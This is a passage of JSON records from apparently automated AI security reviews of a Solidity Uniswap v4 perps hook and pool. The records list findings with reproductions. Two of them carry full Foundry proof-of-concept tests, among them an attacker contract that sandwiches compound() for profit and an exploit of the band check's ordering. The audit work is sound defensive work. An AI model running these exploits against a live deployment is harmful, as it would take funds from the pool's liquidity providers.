doubles.","treeHash":null,"usage":{"cachedInputTokens":1958768,"inputTokens":514,"model":"claude-fable-5-1","outputTokens":55301,"runtime":"claude","turns":37,"wallClockMs":796165}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"589ef002581a5371","findings":[{"citation":"resolved","description":"Seam: boundary x precision x invariant. poolPriceX96() (src/IMD6900PerpHook.sol:293-297) returns mulDiv(sq, sq, Q96), which is 0 for every sqrtPriceX96 below 2^48 = 281474976710656, while the PoolManager accepts sqrt prices down to MIN_SQRT_PRICE = 4295128739. _deviation() reuses 0 as the 'pool not initialized' sentinel and returns 0 deviation, so _checkBand() (line 393-399) accepts a swap that leaves the pool at a price 2^-96 of nothing while the Pons reference is 1e9 coin/ETH; the invariant 'a swap may not leave the pool further than maxDeviationBps from Pons unless it moved closer' is void on the low side of 2^48. Cost: with the fixture's 2 ETH of depth (L = 63244000000000108701208) the push needs getAmount0Delta(2^48-1, sqrtP, L) = 1.78e19 ETH, so it is unreachable while the owner's liquidity is in the pool. It is free once the owner has taken all liquidity out (removeLiquidity(all), the documented path to replace the hook, or any time pool.liquidity() == 0): a zero-liquidity swap moves the price to its sqrtPriceLimitX96 with amount0 = amount1 = 0. The same sentinel does not open the high side: a target of 2^60 is still refused with TooFarFromPons, so the hole is exactly sqrtPriceX96 in [MIN_SQRT_PRICE+1, 2^48). Impact is bounded to what reads this pool's price while it is empty (the band's own view functions and, once wired, an engine that marks against poolPriceX96; open perps positions are not closed by a full withdrawal, since WouldLiquidate only looks at liquidatability). Fix: in _deviation treat pool_ == 0 with ref != 0 as infinite (revert TooFarFromPons in _checkBand), or compare sqrt prices (sq vs sqrt(ref)) so the low end of the range does not truncate.","line":304,"path":"src/IMD6900PerpHook.sol","reproduction":"Fixture: real PoolManager, IMD6900PerpsLaunch(PM, 10000, OWNER, OWNER), curve reserves (1 ether, 1e27) so Pons = 1e9 coin/ETH, owner opens with 2 ether and 2e27 coin at sqrt(1e9)<<96. Steps: (1) OWNER: pool.removeLiquidity(pool.liquidity(), OWNER, OWNER) -> pool.liquidity() == 0, hook.deviationBps() == 0. (2) anyone: PoolManager.swap(key, SwapParams(zeroForOne=true, amountSpecified=-1, sqrtPriceLimitX96=2^48-1)). Actual: swap succeeds with amount0 == 0 and amount1 == 0 (trader's balance unchanged), getSlot0 sqrtPriceX96 == 2^48-1, hook.poolPriceX96() == 0, hook.deviationBps() == 0 while hook.ponsPriceX96() == 1e9<<96 (a price ratio of ~7.9e37, i.e. ~7.9e41 bps). Expected: afterSwap reverts TooFarFromPons as it does for any other far price (the same swap with limit 2^60 reverts). Verified in test/scratch/ZeroPrice.t.sol::test_zeroLiquidity_priceBelow2pow48_passesBandAsZeroDeviation and test_costWithLiquidity.","severity":"low","snippet":"    function _deviation(uint256 pool_, uint256 ref) internal pure returns (uint256) {\n        if (ref == 0 || pool_ == 0) return 0;\n        uint256 d = pool_ > ref ? pool_ - ref : ref - pool_;\n        return FullMath.mulDiv(d, BPS, pool_ < ref ? pool_ : ref);\n    }","title":"Band treats a pool price that truncates to zero as zero deviation: once liquidity is zero, anyone parks the price below 2^-96 for free and deviationBps() reports 0"},{"citation":"resolved","description":"Boundary: the PoolManager accepts sqrtPriceX96 in [MIN_SQRT_PRICE, MAX_SQRT_PRICE) = [4295128739, 1461446703485210103287273052203988822378723970342), but the position's bounds are the usable ticks of spacing 60: lower = getSqrtPriceAtTick(-887220) = 4306310044 and upper = getSqrtPriceAtTick(887220) = 1457652066949847389969617340386294118487833376468. For sqrtPriceX96 < lower, 'sqrtPriceX96 - lower' underflows; for sqrtPriceX96 >= upper, 'upper - sqrtPriceX96' underflows; both are checked arithmetic and revert with Panic(0x11). Two ways in: (a) open(): the owner passes such a price; initialize() succeeds inside the same call, then the panic reverts everything, so no state is kept but the failure is unnamed. (b) addLiquidity()/compound() after the pool's price has been moved outside the usable range, which with liquidity present costs more than the pool's whole reserves but, with pool.liquidity() == 0 (after the owner's full removeLiquidity), is free for anyone: a swap of 1 wei with sqrtPriceLimitX96 = MIN_SQRT_PRICE+1 moves the price there at zero cost and passes the band (finding 1). Until someone swaps the price back into range (also free at zero liquidity, and allowed because it moves closer to Pons), every addLiquidity and compound on that pool reverts with a panic. The pool's own liquidity is never at risk: with liquidity in the pool the range cannot be left for less than its full reserves. Fix: check the price explicitly and revert with a named error (or clamp the computation to the usable range) before the subtraction; open() should also refuse an initial price outside [lower, upper).","line":236,"path":"src/IMD6900PerpPool.sol","reproduction":"Same fixture as finding 1. (a) Fresh launch, OWNER: pool.open{value: 1 ether}(coin, curve, MAX_SQRT_PRICE - 1, 1e27) -> reverts Panic(0x11); pool.open{value: 1 ether}(coin, curve, MIN_SQRT_PRICE, 1e27) -> reverts Panic(0x11). Expected: a named revert (or acceptance) rather than an arithmetic panic. (b) OWNER: removeLiquidity(all); anyone: PoolManager.swap(key, SwapParams(true, -1, MIN_SQRT_PRICE + 1)) succeeds for free and deviationBps() == 0; then anyone: pool.addLiquidity{value: 1 ether}(1e27, this) -> Panic(0x11); with 1 ether and 1e27 coin sitting in the pool contract, pool.compound(0, 0) -> Panic(0x11). After a swap back to sqrt(1e9)<<96 (allowed: deviation drops to < 10 bps) compound(0,0) succeeds and liquidity > 0. Verified in test/scratch/ZeroPrice.t.sol::test_openAtPriceAboveUsableRangePanics and test_zeroLiquidity_priceBelowLower_bricksAddLiquidityUntilSomeoneSwapsBack.","severity":"low","snippet":"        uint256 fromEth = FullMath.mulDiv(eth, FullMath.mulDiv(sqrtPriceX96, upper, 1 << 96), upper - sqrtPriceX96);\n        uint256 fromTokens = FullMath.mulDiv(tokens, 1 << 96, sqrtPriceX96 - lower);","title":"_fullRangeLiquidity underflows (Panic 0x11) for any price outside [sqrt(minUsableTick), sqrt(maxUsableTick)), so open/addLiquidity/compound revert with an arithmetic panic instead of a named error, an"}],"hash":"587c82a71f942f1776b06f208785c57cffbb8c12de916888ea3d279e7dee3e61","nodeId":"5ea30b7c-a0e4-450c-a918-6ea47eb71703","outcome":"completed","summary":"The review is complete. The findings file is valid, both snippets match the tree, and no tracked file changed. Only the ignored `.imd-findings.json` and my `test/scratch/` tests exist outside the tree.\n\n**Outcome.** The math in the hook, the pool and the launch holds up except at one boundary, which produced two low findings. Nothing in my area reaches medium or above, and no finding carries a proof file since none is high severity.\n\n**What I verified in depth** (Math Precision, Boundary and Numerical Gap guides):\n\n- **Full-range liquidity formula** in the pool. The floor-then-minus-one margin never asks the PoolManager for more ETH or coin than supplied. I confirmed this with a 5,000-run fuzz over every usable tick, plus 150 end-to-end `open` calls at fuzzed prices that left nothing behind.\n- **Fee netting in `unlockCallback`.** Additions settle the net delta and report principal only, so accrued LP fees stay with the pool. Removals pay principal plus fees. All int128 casts are sign-guarded.\n- **Price scales.** The Pons reserve ratio and the pool's squared sqrt price are both coin-wei per ETH-wei, and the symmetric deviation formula cannot overflow for any reachable price.\n- **Launch mining.** The 85-byte CREATE2 preimage, the 0x3fff mask, FLAGS = 0x2ac0, Solidity's `&` precedence, and the gas budget all check out.\n- **Fee rounding, flush split, sweep gas arithmetic.** All correct.\n\n**Findings** (both low):\n\n1. **Band sentinel at zero pool price.** `poolPriceX96()` truncates to 0 for any sqrt price below 2^48, and `_deviation` reads 0 as \"no deviation\". With liquidity in the pool, pushing the price there costs about 1.78e19 ETH, so it is unreachable. Once the owner has withdrawn everything, a 1-wei swap with a limit of 2^48 - 1 moves the price there for free and `deviationBps()` reports 0 against a reference of 1e9 coin per ETH. A nonzero far target is still refused.\n2. **Arithmetic panic outside the usable tick range.** The liquidity formula underflows when the price is below `sqrt(minUsableTick)` or at or above `sqrt(maxUsableTick)`, both of which the PoolManager accepts. `open` with such a price reverts with Panic(0x11) rather than a named error. After a full withdrawal, anyone can park the price there for free, and `addLiquidity` and `compound` panic until someone swaps the price back, which the band permits.\n\n**Coverage.** All 37 listed entry points have a row, plus four invariant rows. Three pool functions and the hook's `afterSwap` map to the findings; every other row is `holds` with a reason. Nothing was left unreached. One note outside my area went into coverage rather than the findings: `updateFeeAddress(address(0))` would send 3% of each flush to the zero address, which is owner trust rather than a defect.\n\n**Not verified offline.** The Pons curve's `getReserves` semantics, the `PonsLaunchedToken` struct layout, and whether the live coin taxes plain transfers all need the Robinhood fork, which has no RPC here. These stay as leads.","treeHash":null,"usage":{"cachedInputTokens":1976990,"inputTokens":482,"model":"claude-fable-5-1","outputTokens":56219,"runtime":"claude","turns":32,"wallClockMs":1029371}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"1a7ecd03bd365366","findings":[{"citation":"resolved","description":"compound() is callable by anyone and adds full-range liquidity using the pool's own pending ETH and coin (the 10% creator-fee share from Owner.wire, released coin, stray flushes) at whatever sqrtPrice slot0 holds at that moment. Its only parameters, minEth/minTokens, are lower bounds on the pool's balances (line 169) and say nothing about the price, so they cannot protect the pairing. The hook's band permits the pool to sit up to maxDeviationBps (30%) away from Pons, and a trade that ends inside the band is always accepted. An unprivileged actor therefore, in one transaction: (1) buys coin to push the pool ~29% off Pons, (2) calls compound(0,0) so the pool pairs its pending balances at that mispriced ratio, (3) sells the coin back into the now-deeper pool. The added liquidity makes the return leg cheaper than the outbound leg, which is the standard sandwich of a rebalance; the attacker's gain is the pool's loss, net of the 1% fees the attacker pays. Measured on the offline fixture (2 ETH + 2e9 coin of depth, Pons reference fixed at 1e9 coin/ETH, 0.28 ETH of attacker capital): pending = 1 ETH + 1e9 coin -> attacker +0.00527 ETH (1.9% on capital), pool left 805 bps from Pons; pending = 2 ETH + 2e9 coin -> +0.0112 ETH, pool left 1259 bps from Pons; pending = 0.5 ETH + 5e8 coin -> +0.00086 ETH; pending = 0.2 ETH + 2e8 coin -> loss (fees dominate); no pending -> loss of 0.0052 ETH. Because nobody is paid to compound honestly while the attacker is paid to wait, pending naturally accumulates to the profitable range, and the attacker chooses the moment. A second effect is that the pool ends every such compound persistently displaced from Pons (the sell-back no longer returns the price to where it was), which is the opposite of what the band is for. Amplifier: the band is relative to a reference the attacker can also move (a Pons curve buy, or a swap in the graduated Pons pool), and when the reference is unreadable the band is off entirely, so the 30% displacement is a floor on the attainable mispricing, not a ceiling; full-range divergence loss grows from ~0.9% of compounded value at 1.3x to ~5.7% at 2x. Same exposure applies to anyone's addLiquidity, but there the attacker cannot choose the moment atomically. Minimal fix that keeps compound permissionless: refuse to compound while hook.deviationBps() exceeds a tight tolerance (far below maxDeviationBps), or let the caller pass the expected sqrtPrice/min liquidity so a keeper's transaction fails if the pool was moved first; alternatively restrict compound to the owner/keeper. Severity medium: unprivileged, repeatable per compounding tranche, loss bounded to a fraction of what is compounded.","line":170,"path":"src/IMD6900PerpPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract Coin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// The Pons reference the hook reads: fixed at 1e9 coin per ETH throughout (the attacker never touches Pons)\ncontract Curve {\n    uint256 public q; uint256 public t; address public token;\n    constructor(address token_, uint256 q_, uint256 t_) { token = token_; q = q_; t = t_; }\n    function getReserves() external view returns (uint256, uint256) { return (q, t); }\n    function graduated() external pure returns (bool) { return false; }\n    function pairToken() external pure returns (address) { return address(0); }\n    function factory() external pure returns (address) { return address(0); }\n}\n\n/// An unprivileged attacker, one transaction: push the pool to the edge of the band, call the permissionless\n/// compound() so the pool pairs its pending ETH and coin at that pushed price, then trade back.\ncontract Attacker {\n    IPoolManager immutable pm;\n    IMD6900PerpPool immutable pool;\n    Coin immutable coin;\n    bool public compounded;\n\n    constructor(IPoolManager pm_, IMD6900PerpPool pool_, Coin coin_) { pm = pm_; pool = pool_; coin = coin_; }\n\n    function attack(uint256 ethIn) external returns (uint256 ethBefore, uint256 ethAfter) {\n        ethBefore = address(this).balance;\n        pm.unlock(abi.encode(true, ethIn));\n        // a fix that refuses to compound a pool pushed off the Pons price (or that restricts compound) makes this\n        // revert; the attacker is then left with a plain fee-paying round trip and the test passes\n        try pool.compound(0, 0) { compounded = true; } catch {}\n        pm.unlock(abi.encode(false, coin.balanceOf(address(this))));\n        ethAfter = address(this).balance;\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, uint256 amt) = abi.decode(data, (bool, uint256));\n        PoolKey memory key = pool.poolKey();\n        if (buy) {\n            BalanceDelta d = pm.swap(key, SwapParams(true, -int256(amt), TickMath.MIN_SQRT_PRICE + 1), \"\");\n            pm.settle{value: uint128(-d.amount0())}();\n            pm.take(key.currency1, address(this), uint128(d.amount1()));\n        } else {\n            BalanceDelta d = pm.swap(key, SwapParams(false, -int256(amt), TickMath.MAX_SQRT_PRICE - 1), \"\");\n            pm.sync(key.currency1);\n            coin.transfer(address(pm), uint128(-d.amount1()));\n            pm.settle();\n            pm.take(key.currency0, address(this), uint128(d.amount0()));\n        }\n        return \"\";\n    }\n\n    receive() external payable {}\n}\n\n/// Finding: compound() pairs the pool's pending balances at whatever spot price the caller has just pushed the pool\n/// to. minEth/minTokens bound balances, not the price, and the band allows a 30% displacement. An attacker who\n/// pushes the price to the band edge, compounds, and trades back leaves with more ETH than they started with; the\n/// pool loses exactly that and is left displaced from Pons.\ncontract CompoundSandwichTest is Test {\n    IPoolManager PM;\n    address constant OWNER = address(0xA11CE);\n    IMD6900PerpHook hook;\n    IMD6900PerpPool pool;\n    Coin coin;\n    Curve curve;\n\n    function setUp() public {\n        PM = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);\n        hook = l.hook();\n        pool = l.pool();\n        coin = new Coin();\n        curve = new Curve(address(coin), 1 ether, 1e27); // 1e9 coin per ETH\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 10 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        pool.open{value: 2 ether}(address(coin), address(curve), _sqrt(1e9) << 96, 2e27); // 2 ETH + 2e9 coin\n        vm.stopPrank();\n    }\n\n    function test_CompoundCanBeSandwichedForProfit() public {\n        // the pool has collected 1 ETH and 1e9 coin to compound (fee-split share, released coin, donations)\n        vm.deal(address(pool), 1 ether);\n        coin.mint(address(pool), 1e27);\n        assertLt(hook.deviationBps(), 10, \"the pool starts at the Pons price\");\n\n        Attacker a = new Attacker(PM, pool, coin);\n        vm.deal(address(a), 0.28 ether);\n        (uint256 before, uint256 after_) = a.attack(0.28 ether); // 0.28 ETH into 2 ETH of depth: ~29.6% move, inside the band\n\n        emit log_named_int(\"attacker ETH profit (wei)\", int256(after_) - int256(before));\n        emit log_named_uint(\"pool deviation from Pons after the attack, bps\", hook.deviationBps());\n        assertLe(after_, before, \"an unprivileged round trip through the pool must not come out ahead\");\n        if (a.compounded()) assertLt(hook.deviationBps(), 100, \"compounding must not leave the pool displaced from Pons\");\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint160 z) {\n        uint256 r = x;\n        uint256 y = (x + 1) / 2;\n        while (y < r) { r = y; y = (x / y + y) / 2; }\n        z = uint160(r);\n    }\n\n    receive() external payable {}\n}","reproduction":"State: pool opened by the owner at the Pons price (2 ETH + 2e27 coin units, 1e9 coin/ETH); pool contract holds 1 ETH and 1e27 coin units of pending balances; Pons reference unchanged throughout. Attacker (any address, 0.28 ETH), one transaction: (1) PoolManager.unlock -> swap(zeroForOne=true, amountSpecified=-0.28 ether) and settle; pool price moves to ~0.77e9 coin/ETH, deviation ~2960 bps < 3000 so afterSwap accepts it; (2) pool.compound(0, 0): _fullRangeLiquidity pairs 1 ETH with ~0.77e9 coin at the pushed price and adds it; (3) PoolManager.unlock -> swap(zeroForOne=false, amountSpecified=-(all coin held)) and settle. Expected: an unprivileged round trip through a 1%-fee pool cannot end with more ETH than it started, and compounding leaves the pool at the market (Pons) price. Actual: attacker balance 0.28 ETH -> 0.285265 ETH (+5,265,190,684,086,638 wei); the pool's position plus pending balances are worth exactly that much less; hook.deviationBps() afterwards is 805 instead of ~0. Run test/scratch/CompoundSandwich.t.sol: fails now with 'an unprivileged round trip through the pool must not come out ahead: 285265190684086638 > 280000000000000000'.","severity":"medium","snippet":"        (uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolKey().toId());\n        liq = _fullRangeLiquidity(sqrtPriceX96, ethHave, tokensHave);","title":"Permissionless compound() pairs the pool's pending ETH and coin at a spot price the caller has just pushed to the band edge; an attacker sandwiches it for profit and leaves the pool displaced from Pon"},{"citation":"resolved","description":"The band's stated purpose is that no swap may leave this pool further than maxDeviationBps from Pons unless it moves it closer, so the perps mark cannot be pushed by a single trade. In _afterSwap the order is: snapshot devBefore, call the engine's best-effort sweep (spec == 0), then _checkBand. The sweep is the engine's own nested swaps (its sender is perpEngine, so they are band-exempt and sweep-exempt), and _checkBand reads poolPriceX96() only after they have run. The band is therefore judged on the price the liquidations leave, not on the price the trader's swap reached. A trader can push the pool far outside the band provided the resulting liquidations sell enough to bring it back; the positions were liquidated at the manipulated price, which is exactly the harm the band exists to prevent, and the pre-trade sweep's promise ('at the price before it moves') is bypassed for whatever the post-sweep catches. The trader is tx.origin and so is also the liquidator the engine pays (line 419). Impact depends on the engine, which is not in this launch, so this is reported as low: it is the hook's ordering that creates the window, and it cannot be changed after deployment. Fix: evaluate the band on the trader's own end price before calling the post-trade sweep (and optionally again after), e.g. `_checkBand(devBefore); _sweep(sender, 0, false, 0);`, or snapshot poolPriceX96() before the sweep and check that value.","line":384,"path":"src/IMD6900PerpHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract Coin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\ncontract Curve {\n    uint256 public q; uint256 public t; address public token;\n    constructor(address token_, uint256 q_, uint256 t_) { token = token_; q = q_; t = t_; }\n    function getReserves() external view returns (uint256, uint256) { return (q, t); }\n    function graduated() external pure returns (bool) { return false; }\n    function pairToken() external pure returns (address) { return address(0); }\n    function factory() external pure returns (address) { return address(0); }\n}\n\ncontract Trader {\n    IPoolManager immutable pm; Coin immutable coin; PoolKey key;\n    constructor(IPoolManager pm_, Coin c) { pm = pm_; coin = c; }\n    function swap(PoolKey calldata k, bool buy, int256 amt) external returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amt)), (BalanceDelta));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        if (d.amount0() < 0) pm.settle{value: uint128(-d.amount0())}();\n        else if (d.amount0() > 0) pm.take(key.currency0, address(this), uint128(d.amount0()));\n        if (d.amount1() < 0) { pm.sync(key.currency1); coin.transfer(address(pm), uint128(-d.amount1())); pm.settle(); }\n        else if (d.amount1() > 0) pm.take(key.currency1, address(this), uint128(d.amount1()));\n        return abi.encode(d);\n    }\n    receive() external payable {}\n}\n\n/// A perps engine whose post-trade sweep liquidates by selling coin into the pool (as closing longs would), which\n/// moves the price back toward Pons. It records the pool price its liquidation ran at.\ncontract LiquidatingEngine {\n    IPoolManager immutable pm; Coin immutable coin; IMD6900PerpHook immutable hook; PoolKey key;\n    uint256 public sellAmount;\n    uint256 public liquidations;\n    uint256 public liquidationPriceX96;\n    constructor(IPoolManager pm_, PoolKey memory k, Coin c, IMD6900PerpHook h, uint256 sell) { pm = pm_; key = k; coin = c; hook = h; sellAmount = sell; }\n    function openCount() external pure returns (uint256) { return 1; }\n    function sweepLiquidations(address, int256 spec, bool, uint160) external returns (uint8) {\n        if (spec == 0) {\n            ++liquidations;\n            liquidationPriceX96 = hook.poolPriceX96();\n            BalanceDelta d = pm.swap(key, SwapParams(false, -int256(sellAmount), TickMath.MAX_SQRT_PRICE - 1), \"\");\n            pm.sync(key.currency1); coin.transfer(address(pm), uint128(-d.amount1())); pm.settle();\n            pm.take(key.currency0, address(this), uint128(d.amount0()));\n        }\n        return 0;\n    }\n    receive() external payable {}\n}\n\n/// Finding: _afterSwap runs the post-trade liquidation sweep before _checkBand, so the band is judged on the price\n/// the engine's nested swaps leave, not on the price the trader's own swap reached. A 1 ETH buy that the band\n/// refuses on its own passes once an engine's liquidations sell the price back inside the band: the liquidations\n/// then ran at a price 2.2x away from Pons, which is exactly what the band exists to prevent.\ncontract PostSweepBandTest is Test {\n    IPoolManager PM;\n    address constant OWNER = address(0xA11CE);\n    IMD6900PerpHook hook; IMD6900PerpPool pool; Coin coin; Curve curve; Trader trader;\n\n    function setUp() public {\n        PM = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);\n        hook = l.hook(); pool = l.pool();\n        coin = new Coin();\n        curve = new Curve(address(coin), 1 ether, 1e27); // 1e9 coin per ETH\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 10 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        pool.open{value: 2 ether}(address(coin), address(curve), _sqrt(1e9) << 96, 2e27);\n        vm.stopPrank();\n        trader = new Trader(PM, coin);\n        vm.deal(address(trader), 10 ether);\n    }\n\n    function test_OutOfBandTradeMustFailBeforeAnyoneIsLiquidatedAtItsPrice() public {\n        PoolKey memory key = pool.poolKey();\n        // on its own, a 1 ETH buy into 2 ETH of depth ends ~125% from Pons and is refused\n        vm.expectRevert();\n        trader.swap(key, true, -1 ether);\n\n        LiquidatingEngine engine = new LiquidatingEngine(PM, key, coin, hook, 7e26);\n        coin.mint(address(engine), 1e27);\n        vm.prank(OWNER);\n        hook.setPerpEngine(address(engine));\n\n        // the same trade with the engine wired: either the band still refuses it, or nobody was liquidated at a\n        // price outside the band\n        (bool ok,) = address(trader).call(abi.encodeCall(Trader.swap, (key, true, -1 ether)));\n        if (ok) {\n            uint256 ref = hook.ponsPriceX96();\n            uint256 liq = engine.liquidationPriceX96();\n            uint256 dev = liq > ref ? (liq - ref) * 10_000 / ref : (ref - liq) * 10_000 / liq;\n            emit log_named_uint(\"liquidations run in the post-sweep\", engine.liquidations());\n            emit log_named_uint(\"deviation from Pons of the price they ran at, bps\", dev);\n            emit log_named_uint(\"deviation left after the transaction, bps\", hook.deviationBps());\n            assertTrue(engine.liquidations() == 0 || dev <= hook.maxDeviationBps(), \"liquidated at an out-of-band price\");\n        }\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint160 z) {\n        uint256 r = x; uint256 y = (x + 1) / 2;\n        while (y < r) { r = y; y = (x / y + y) / 2; }\n        z = uint160(r);\n    }\n    receive() external payable {}\n}","reproduction":"State: pool opened at the Pons price (2 ETH + 2e27 coin units, 1e9 coin/ETH). Step A, no engine: trader swaps zeroForOne=true, amountSpecified=-1 ether -> ends ~125% from Pons -> reverts TooFarFromPons (as test_RefusesToDriftFarFromPons expects). Step B: owner sets an engine whose sweepLiquidations(…, spec=0, …) sells 7e26 coin units into the pool (a liquidation closing longs). Trader repeats the identical swap. Expected: the same trade is still refused, or at least nobody is liquidated at a price outside the band. Actual: the swap succeeds; the engine's liquidation ran when the pool price was 4.47e8 coin/ETH against a 1e9 reference (12,351 bps away); afterwards the pool sits 310 bps from Pons so _checkBand passes. Run test/scratch/PostSweepBand.t.sol: fails now with 'liquidated at an out-of-band price'.","severity":"low","snippet":"        _sweep(sender, 0, false, 0);\n        _checkBand(devBefore);","title":"_afterSwap runs the post-trade liquidation sweep before the band check, so an out-of-band trade passes whenever the engine's liquidations pull the price back, and those liquidations ran at the out-of-"},{"citation":"resolved","description":"The band accepts any swap whose end deviation is not larger than its start deviation, regardless of direction. Deviation is symmetric around the reference, so a pool that sits above Pons can be traded in one swap to the opposite side of Pons, ending outside the band, as long as the far-side deviation is a hair under the starting one. The README describes this exception as allowing a trade 'that pulls the pool back toward it'; a swing from 2.0x above to 1.84x below is not that. The condition is reachable without privilege whenever Pons has moved away from the pool (Pons runs away on its own, or an attacker buys on the Pons curve or swaps in the graduated Pons pool). For the perps mark this means a single swap can move the pool's price by (1+devBefore)^2 (3.7x here) while the hook reports it as a correction. Suggested rule: when the swap crosses the reference (pool and reference order flips between before and after), require devAfter <= maxDeviationBps; keep the 'closer' exception only for swaps that stay on the same side.","line":398,"path":"src/IMD6900PerpHook.sol","reproduction":"State: pool at 1e9 coin/ETH with 2 ETH + 2e27 coin units; Pons reference at 5e8 coin/ETH (curve reserves q=1 ether, t=5e26), so hook.deviationBps() == 9999 with the pool above Pons. Trader swaps zeroForOne=true, amountSpecified=-1.85 ether. Expected: a trade that ends outside the 3000 bps band on the other side of the reference is refused. Actual: it succeeds; the pool price is 2.72e8 coin/ETH, below the 5e8 reference, with hook.deviationBps() == 8351 > 3000. (Scratch check: a swap from 9999 bps above to 8351 bps below passes; the same end state reached from inside the band would revert.)","severity":"low","snippet":"        if (devAfter > maxDeviationBps && devAfter > devBefore) revert TooFarFromPons();","title":"The 'moves closer' exception lets one trade cross the Pons price and end on the far side at almost the starting deviation: a 3.7x price swing in a single swap"},{"citation":"resolved","description":"Documented as trust assumptions, not defects: the owner (0x35da9c0303507ddf708e87f2568eddf12c47a059, both pool and hook, later a timelock) holds powers whose misuse is irreversible or market-halting. (1) Solady's inherited renounceOwnership() on IMD6900PerpPool sets owner to zero with no re-initialization path; removeLiquidity is onlyOwner and is the only way principal leaves the position, so a renounce (or a transferOwnership to a dead address) strands every wei of liquidity forever, contradicting 'the liquidity always comes back'. The same call on the hook freezes setPerpEngine/setSweepFailOpen, so a broken engine would then block trading for good. (2) hook.setPerpEngine to any contract whose sweep reverts halts all non-engine swaps (fail closed, intended); setMaxDeviationBps(1) refuses practically every non-exempt trade. (3) feeExempt/engine addresses bypass the band. None of these is reachable by an unprivileged actor; they are listed so the timelock handoff and any future owner script treat them as one-way doors (consider overriding renounceOwnership to revert on the pool).","line":34,"path":"src/IMD6900PerpPool.sol","reproduction":"Owner calls pool.renounceOwnership(). Then pool.removeLiquidity(pool.liquidity(), owner, owner) from any address reverts Unauthorized() and no function can restore an owner; the position's ETH and coin are unrecoverable. Not an exploit path; recorded as a privileged trust assumption per the review brief.","severity":"info","snippet":"contract IMD6900PerpPool is Ownable, ReentrancyGuard {","title":"Trust assumptions of the launch's owner: renounceOwnership on the pool permanently strands all liquidity; a fail-closed engine or a 1 bps band halts non-engine trading"}],"hash":"5e63b713001d747f46f8225ce32c077194eba6870a309a9d9fea6a2284746c51","nodeId":"5a169c53-4760-413b-8952-b87efcd1119e","outcome":"completed","summary":"The review is complete. No tracked file was changed; the findings are in `.imd-findings.json` at the repository root, with the two proof tests under `test/scratch/`.\n\n**What I found (economics, invariants, flow gaps)**\n\n1. **Medium: `compound()` can be sandwiched for profit.** It pairs the pool's pending ETH and coin at whatever spot price the caller has just pushed the pool to. Its `minEth`/`minTokens` parameters bound balances, not price, and the band tolerates a 30% displacement. On the offline fixture an attacker who pushes the pool to the band edge, compounds, and trades back comes out ahead when pending balances are roughly a quarter of pool depth or more, and the pool is left persistently displaced from Pons. The proof test at `test/scratch/CompoundSandwich.t.sol` fails now with the measured gain.\n\n| pending balances vs 2 ETH depth | attacker 